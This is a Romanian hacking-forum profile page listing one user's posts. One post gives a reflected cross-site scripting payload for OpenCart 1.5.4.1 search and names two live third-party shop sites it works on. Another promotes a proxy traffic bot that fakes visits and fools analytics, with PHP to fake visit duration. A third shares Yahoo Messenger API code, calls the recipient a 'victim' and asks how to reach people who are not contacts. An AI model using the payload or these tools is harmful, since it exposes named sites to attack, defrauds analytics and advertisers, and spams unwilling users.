Jump to content

deserty

Active Members
  • Posts

    250
  • Joined

  • Last visited

Posts posted by deserty

  1. http://demo.opencart.com/index.php?route=product/search&filter_name=%3E%3C%2FSCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(String.fromCharCode(88%2C83%2C83))%3C%2FSCRIPT%3E

    Testat doar pe versiunea v1.5.4.1

    Exemple :

    http://www.floraria-sentiment.ro/index.php?route=product/search&filter_name=%3E%3C%2FSCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(String.fromCharCode(88%2C83%2C83))%3C%2FSCRIPT%3E
    http://www.bratarishamballa.eu/index.php?route=product/search&filter_name=%3E%3C%2FSCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(String.fromCharCode(88%2C83%2C83))%3C%2FSCRIPT%3E

    Raportat.

  2. Poate intereseaza pe cineva

    Intre 5 noiembrie ?i 14 decembrie te a?teapt? cinci cursuri intensive cu traineri Google despre business ?i marketing online. Tot acum vei deschide primul t?u cont AdWords pentru promovare pe web. Cursurile vor include urm?toarele teme:

    S?pt?mâna 1 - Introducere în online (trend-uri si modele de business online)

    S?pt?mâna 2 - Instrumente Google pentru business-uri online

    S?pt?mâna 3 - Promovarea online - AdWords (1/3): no?iuni introductive

    Între cursurile 3 ?i 4, vei deschide primul tau cont AdWords pentru promovare online

    S?pt?mâna 4 - Promovarea online - AdWords (2/3): raportare ?i set?ri avansate

    S?pt?mâna 5 - Promovarea online - AdWords (3/3): optimizare

    https://services.google.com/fb/forms/OnlineMarketingAcademy/

  3. Exemplu :


    <?php
    $referer = $_SERVER['HTTP_REFERER'];
    if (preg_match("/pagina100/",$referer))
    {
    echo "vizita a venit din pagina100";
    }

    elseif (preg_match("/pagina200/",$referer))
    {
    echo "vizita a venit din pagina200";
    }

    else
    {
    echo "vizita fara referer";
    }
    ?>

    Pe chrome functioneaza perfect. Insa pe Mozilla nu.

    Testat pe mai multe calculatoare si la fel face.

  4. Urmatorul cod genereaza linkuri random.

    Cum as putea pune intr-o variabila linkul ce il genereaza ?


    if
    (typeof _adhtzu=='undefined')
    var _adhtzu=Math.floor(Math.random()*4294967296);
    if
    (typeof _adhtzc=='undefined')
    var _adhtzc=0;
    if(++_adhtzc<=4)
    {
    (function()
    {
    var s=[],l=window.location,r=document.referrer;
    if
    (l.hostname.replace(/^www\./i,'')==r.replace(/^https?:\/\/(?:www\.)?([^\/]+).*$/i,'$1'))
    {
    l=parent.window.location;
    r=parent.document.referrer;
    }

    function f(o)
    {
    var b,m;
    for(var i=0;i<o.childNodes.length;i++)
    {
    b=o.childNodes[i];
    if
    (b.childNodes.length)f(;
    if
    (b.nodeName=='SCRIPT'&&(m=b.src.match(/^(?:https??\/\/site.com\/([0-9]+)(?:\/([a-z0-9]{1,32}))?\/?$/)))s.push(m);
    }
    }

    f(document);
    for(var i=0;i<s.length;i++)
    if(_adhtzc-1==i)document.write('<scr'+'ipt src="http'+(window.location.protocol=='https:'?'s':'')+'://site.com/?z='+s[i][1]+(s[i][2]?'&s='+s[i][2]:'')+'&p='+_adhtzu+'&l='+escape(l)+(r?'&r='+escape(r):'')+'&c='+_adhtzc+'" language="javascript"></scr'+'ipt>');
    }
    )
    ()
    }

  5. Am testat multe programe de genul si asta chiar da rezultate.

    L-am testat pe trafic.ro, alexa.com si google analytics.

    tviewer_screeshot.png

    features :

    - support all proxy type(HTTP, SOCKs, SSL, FTP)

    - random User Agent

    - Random Referer HTTP bypass Google Analytics

    How to use ?

    * TimeOut: Next proxy if in this time period program cant connect to url through proxy

    * Delay: Time delay for next view.

    * Show Browser: Display browser for each connect by proxy

    * User Agent: List user agent use for each connection. User Agent is random for each connection

    * Referer: List websites use to set HTTP_REFERER for each connection. Each connection will chose random from the list.

    Note:

    HTTP proxy format: [host]:[port]

    SOCK proxy format: [host]:[port]:[version]

    Ex: HTTP proxy: 123.111.222.3:8080 and SOCK proxy 111.222.333.4:80:5

    The tool realy good if you have used it combined with other seo method as back-link for you site. Your site rank will increase fastest.

    Ensure your proxies list can pass Google

    Download : http://mediafire.com/

    Ceea ce nu mi-a placut la program este ca mi-a distrus bounce rate-ul la site.

    Timpul vizitei era de 0 secunde pe site ceea ce nu era ok deloc.

    Asa ca m-am gandit la un mic script care trebuie scris in pagina pe care doriti ca programul sa o viziteze.


    <?php
    $referer = $_SERVER['HTTP_REFERER'];
    $refereri = file_get_contents('refereri.txt');
    $refereri2 = explode("\n",$refereri);

    if (in_array($referer, $refereri2))
    {
    echo "<meta HTTP-EQUIV=\"REFRESH\" content=\"15; url=http://www.site.com\">";
    }
    ?>

    Ce face ?

    Pai bounce rate-ul este practic o medie a timpului petrecut pe site.

    Chiar daca intri pe site si il lasi deschis 10 minute timpul vizitei va fi 0 secunde, insa daca ii vei da un refresh sau vei accesa alta pagina din site (scriptul de monitorizare trafic trebuie sa fie existent si pe pagina nou accesata ) va fi contorizat timpul pana in momentul respectiv.

    Deci codul nu face altceva decat sa dea un refresh la pagina cu conditia ca vizitele sa fie venite din lista de refereri.

    Folisiti aceeasi lista de refereri si pentru program si pentru scriptul php.

    Se va de refresh dupa 15 secunde doar vizitelor venite din program.

    Eu unul am setat asa :

    Time out - 150 (s)

    Delay - 40 to 50 (s)

    Iar la metatagul din codul php 15 secunde.

    Nu toate vizitele vor fi de 15 secunde deoarece conteaza si viteza de incarcare a websiteului cu proxy.

    Va puteti juca voi cu setarile alea.

    Aveti nevoie de proxy, insa aici cred ca va descurcati toti.

    trafic.ro

    pic.jpg

    in lista de refereri am avut doar : stiri.ro pentru ca faceam ceva teste, insa puteti pune ce vrei voi.

  6. Se da o bucata laptop nou - Acer aspiren v3-571g

    Cand folositi laptopul si aveti o sursa de curent cum e cel mai bine sa il folositi ?

    1. Cu bateria scoasa si conenctat la priza.

    2. Il lasati pana se descarca bateria, il incarcati si reluati procesul.

    3. Il tineti in priza tot timpul cu tot cu baterie.

  7. spide112 daca te uitai atent am postat la threadul ala si am spus ca nu ma ajuta si in plus de asta l-am incercat pe serverul local si timpul de raspuns e prea mare. La scriptul postat de mine mesajul se trimite aproape instantaneu.

    Nu da nici o eroare daca pun un id care nu este in lista.

    Signon failed iti da pentru ca nu cred ca ai generet cum trebuie CONSUMER_KEY si SECRET_KEY.

    Fi atent ce drepturi dai la generare.

  8. Se da asa :

    trimite.php


    <?php
    require("jymengine.class.php");

    define('USERNAME', 'ID');
    define('PASSWORD', 'parola');
    define('CONSUMER_KEY', 'AICI_VINE_CONSUMER_KEY');
    define('SECRET_KEY', 'AICI_VINE_SECRET_KEY');

    include_once 'jymengine.class.php';

    $engine = new JYMEngine(CONSUMER_KEY, SECRET_KEY, USERNAME, PASSWORD);
    $engine->debug = false;

    if ($engine->debug) echo '> Fetching request token'. PHP_EOL;
    if (!$engine->fetch_request_token()) die('Fetching request token failed');

    if ($engine->debug) echo '> Fetching access token'. PHP_EOL;
    if (!$engine->fetch_access_token()) die('Fetching access token failed');

    if ($engine->debug) echo '> Signon as: '. USERNAME. PHP_EOL;
    if (!$engine->signon('status')) die('Signon failed');

    $out="mesaj";
    $engine->send_message("id_catre_cine_trimiti", json_encode($out));

    ?>

    si

    jymengine.class.php


    <?php

    class JYMEngine
    {
    const URL_OAUTH_DIRECT = 'https://login.yahoo.com/WSLogin/V1/get_auth_token';
    const URL_OAUTH_ACCESS_TOKEN = 'https://api.login.yahoo.com/oauth/v2/get_token';
    const URL_YM_SESSION = 'http://developer.messenger.yahooapis.com/v1/session';
    const URL_YM_PRESENCE = 'http://developer.messenger.yahooapis.com/v1/presence';
    const URL_YM_CONTACT = 'http://developer.messenger.yahooapis.com/v1/contacts';
    const URL_YM_MESSAGE = 'http://developer.messenger.yahooapis.com/v1/message/yahoo/{{USER}}';
    const URL_YM_NOTIFICATION = 'http://developer.messenger.yahooapis.com/v1/notifications';
    const URL_YM_NOTIFICATION_LONG = 'http://{{NOTIFICATION_SERVER}}/v1/pushchannel/{{USER}}';
    const URL_YM_BUDDYREQUEST = 'http://developer.messenger.yahooapis.com/v1/buddyrequest/yahoo/{{USER}}';
    const URL_YM_GROUP = 'http://developer.messenger.yahooapis.com/v1/group/{{GROUP}}/contact/yahoo/{{USER}}';

    protected $_oauth;
    protected $_token;
    protected $_ym;
    protected $_config;
    protected $_error;

    public $includeheader = false;
    public $debug = false;

    /*
    * constructor
    */
    public function __construct($consumer_key = '', $secret_key = '', $username = '', $password = '')
    {
    $this->_config['consumer_key'] = $consumer_key;
    $this->_config['secret_key'] = $secret_key;
    $this->_config['username'] = $username;
    $this->_config['password'] = $password;

    $this->_ym = array();
    $this->_error = null;
    }

    public function fetch_request_token()
    {
    //prepare url
    $url = $this::URL_OAUTH_DIRECT;
    $url .= '?login='. $this->_config['username'];
    $url .= '&passwd='. $this->_config['password'];
    $url .= '&oauth_consumer_key='. $this->_config['consumer_key'];
    $rs = $this->curl($url);

    if (stripos($rs, 'RequestToken') === false) return false;
    $request_token = trim(str_replace('RequestToken=', '', $rs));
    $this->_token['request'] = $request_token;

    return true;
    }

    public function fetch_access_token()
    {
    //prepare url
    $url = $this::URL_OAUTH_ACCESS_TOKEN;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26';
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['request'];
    $url .= '&oauth_version=1.0';
    $rs = $this->curl($url);

    if (stripos($rs, 'oauth_token') === false)
    {
    $this->_error = $rs;
    return false;
    }

    //parse access token
    $tmp = explode('&', $rs);
    foreach ($tmp as $row)
    {
    $col = explode('=', $row);
    $access_token[$col[0]] = $col[1];
    }

    $this->_token['access'] = $access_token;

    return true;
    }

    public function fetch_crumb()
    {
    //prepare url
    $url = $this::URL_YM_SESSION;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $rs = $this->curl($url, 'get', $header);

    if (stripos($rs, 'crumb') === false) return false;

    $js = json_decode($rs, true);
    $this->_ym['crumb'] = $js;

    return true;
    }

    public function signon($status = '', $state = 0)
    {
    //prepare url
    $url = $this::URL_YM_SESSION;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&notifyServerToken=1';

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $postdata = '{"presenceState" : '. $state. ', "presenceMessage" : "'. $status. '"}';
    $this->includeheader = true;
    $rs = $this->curl($url, 'post', $header, $postdata);
    $this->includeheader = false;
    list($header, $body) = explode("\r\n\r\n", $rs, 2);

    //get IM cookie
    $notifytoken = '';
    if (preg_match('/set-cookie: IM=(.+?); expires/', $header, $m))
    $notifytoken = $m[1];

    if (stripos($body, 'sessionId') === false) return false;

    $js = json_decode($body, true);
    $js['notifytoken'] = $notifytoken;
    $this->_ym['signon'] = $js;

    return true;
    }

    public function signoff()
    {
    //prepare url
    $url = $this::URL_YM_SESSION;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $rs = $this->curl($url, 'delete', $header);

    return true;
    }

    public function change_presence($status = '', $state = 0)
    {
    //prepare url
    $url = $this::URL_YM_PRESENCE;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $postdata = '{"presenceState" : '. $state. ', "presenceMessage" : "'. $status. '"}';
    $rs = $this->curl($url, 'put', $header, $postdata);

    return true;
    }

    public function send_message($user, $message)
    {
    //prepare url
    $url = $this::URL_YM_MESSAGE;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];
    $url = str_replace('{{USER}}', $user, $url);

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $postdata = '{"message" : '. $message. '}';

    $rs = $this->curl($url, 'post', $header, $postdata);

    return true;
    }

    public function fetch_contact_list()
    {
    //prepare url
    $url = $this::URL_YM_CONTACT;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];
    $url .= '&fields=%2Bpresence';
    $url .= '&fields=%2Bgroups';

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $rs = $this->curl($url, 'get', $header);

    if (stripos($rs, 'contact') === false) return false;

    $js = json_decode($rs, true);

    return $js['contacts'];
    }

    public function add_contact($user, $group = 'Friends', $message = '')
    {
    //prepare url
    $url = $this::URL_YM_GROUP;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];
    $url = str_replace('{{GROUP}}', $group, $url);
    $url = str_replace('{{USER}}', $user, $url);

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $postdata = '{"message" : "'. $message. '"}';
    $rs = $this->curl($url, 'put', $header, $postdata);

    return true;
    }

    public function delete_contact($user, $group = 'Friends')
    {
    //prepare url
    $url = $this::URL_YM_GROUP;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];
    $url = str_replace('{{GROUP}}', $group, $url);
    $url = str_replace('{{USER}}', $user, $url);

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $rs = $this->curl($url, 'delete', $header);

    return true;
    }

    public function response_contact($user, $accept = true, $message = '')
    {
    if ($accept)
    {
    $method = 'POST';
    $message == '' ? $reason = 'Welcome' : $reason = $message;
    }
    else
    {
    $method = 'DELETE';
    $message == '' ? $reason = 'No thanks' : $reason = $message;
    }

    //prepare url
    $url = $this::URL_YM_BUDDYREQUEST;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];
    $url = str_replace('{{USER}}', $user, $url);

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $postdata = '{"authReason" : "'. $reason. '"}';
    $this->includeheader = true;
    $rs = $this->curl($url, strtolower($method), $header, $postdata);
    $this->includeheader = true;

    if (strpos($rs, "\r\n\r\n") === false)
    {
    $this->_error = -20;
    return false;
    }

    list($header, $body) = explode("\r\n\r\n", $rs, 2);

    //get status code
    $code = '';
    if (preg_match('|HTTP/1.1 (.*?) OK|', $header, $m))
    $code = $m[1];

    if ($code != 200)
    {
    $this->_error = $code;
    return false;
    }

    return true;
    }

    public function fetch_notification($seq = 0)
    {
    //prepare url
    $url = $this::URL_YM_NOTIFICATION;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];
    $url .= '&seq='. intval($seq);
    $url .= '&count=100';

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $rs = $this->curl($url, 'get', $header);

    $js = json_decode($rs, true);

    if (isset($js['error']))
    {
    $this->_error = $js['error'];
    return false;
    }

    if (stripos($rs, 'pendingMsg') === false) return false;
    if (count($js['responses']) < 1) return false;

    $this->_error = null;
    return $js['responses'];
    }

    public function fetch_long_notification($seq = 0)
    {
    //prepare url
    $url = $this::URL_YM_NOTIFICATION_LONG;
    $url .= '?oauth_consumer_key='. $this->_config['consumer_key'];
    $url .= '&oauth_nonce='. uniqid(rand());
    $url .= '&oauth_signature='. $this->_config['secret_key']. '%26'. $this->_token['access']['oauth_token_secret'];
    $url .= '&oauth_signature_method=PLAINTEXT';
    $url .= '&oauth_timestamp='. time();
    $url .= '&oauth_token='. $this->_token['access']['oauth_token'];
    $url .= '&oauth_version=1.0';
    $url .= '&sid='. $this->_ym['signon']['sessionId'];
    $url .= '&seq='. intval($seq);
    $url .= '&format=json';
    $url .= '&count=100';
    $url .= '&idle=120';
    $url .= '&rand='. uniqid(rand());
    $url .= '&IM='. $this->_ym['signon']['notifytoken'];

    $url = str_replace('{{NOTIFICATION_SERVER}}', $this->_ym['signon']['notifyServer'], $url);
    $url = str_replace('{{USER}}', $this->_ym['signon']['primaryLoginId'], $url);

    //additional header
    $header[] = 'Content-type: application/json; charset=utf-8';
    $header[] = 'Connection: keep-alive';

    $this->includeheader = true;
    $rs = $this->curl($url, 'get', $header, null, 160);
    $this->includeheader = false;

    if (strpos($rs, "\r\n\r\n") === false)
    {
    $this->_error = -20;
    return false;
    }

    list($header, $body) = explode("\r\n\r\n", $rs, 2);

    //get status code
    $code = '';
    if (preg_match('|HTTP/1.1 (.*?) OK|', $header, $m))
    $code = $m[1];

    if ($code != 200)
    {
    $this->_error = $code;
    return false;
    }

    if ($body == '')
    {
    $this->_error = -10;
    return false;
    }

    $js = json_decode($body, true);

    if (isset($js['error']))
    {
    $this->_error = $js['error'];
    return false;
    }

    $this->_error = null;
    return $js['responses'];
    }




    /*
    * fetch url using curl
    */
    private function curl($url, $method = 'get', $header = null, $postdata = null, $timeout = 60)
    {
    $s = curl_init();

    curl_setopt($s,CURLOPT_URL, $url);
    if ($header)
    curl_setopt($s,CURLOPT_HTTPHEADER, $header);

    if ($this->debug)
    curl_setopt($s,CURLOPT_VERBOSE, TRUE);

    curl_setopt($s,CURLOPT_TIMEOUT, $timeout);
    curl_setopt($s,CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($s,CURLOPT_MAXREDIRS, 3);
    curl_setopt($s,CURLOPT_RETURNTRANSFER, true);
    curl_setopt($s,CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($s,CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($s,CURLOPT_COOKIEFILE, 'cookie.txt');

    if(strtolower($method) == 'post')
    {
    curl_setopt($s,CURLOPT_POST, true);
    curl_setopt($s,CURLOPT_POSTFIELDS, $postdata);
    }
    else if(strtolower($method) == 'delete')
    {
    curl_setopt($s,CURLOPT_CUSTOMREQUEST, 'DELETE');
    }
    else if(strtolower($method) == 'put')
    {
    curl_setopt($s,CURLOPT_CUSTOMREQUEST, 'PUT');
    curl_setopt($s,CURLOPT_POSTFIELDS, $postdata);
    }

    curl_setopt($s,CURLOPT_HEADER, $this->includeheader);
    curl_setopt($s,CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1');
    curl_setopt($s, CURLOPT_SSL_VERIFYPEER, false);

    $html = curl_exec($s);
    $status = curl_getinfo($s, CURLINFO_HTTP_CODE);

    curl_close($s);

    return $html;
    }

    public function get_error()
    {
    return $this->_error;
    }

    }

    ?>

    Daca se acceseaza trimite.php mesajul se trimite pe messenger victimei insa cu conditia sa exista in lista de contacte.

    Cum as putea face ca mesajul sa se trimita chiar daca nu este in lista ?

    CONSUMER_KEY si SECRET_KEY se genereaza de aici https://developer.apps.yahoo.com/projects/

×
×
  • Create New...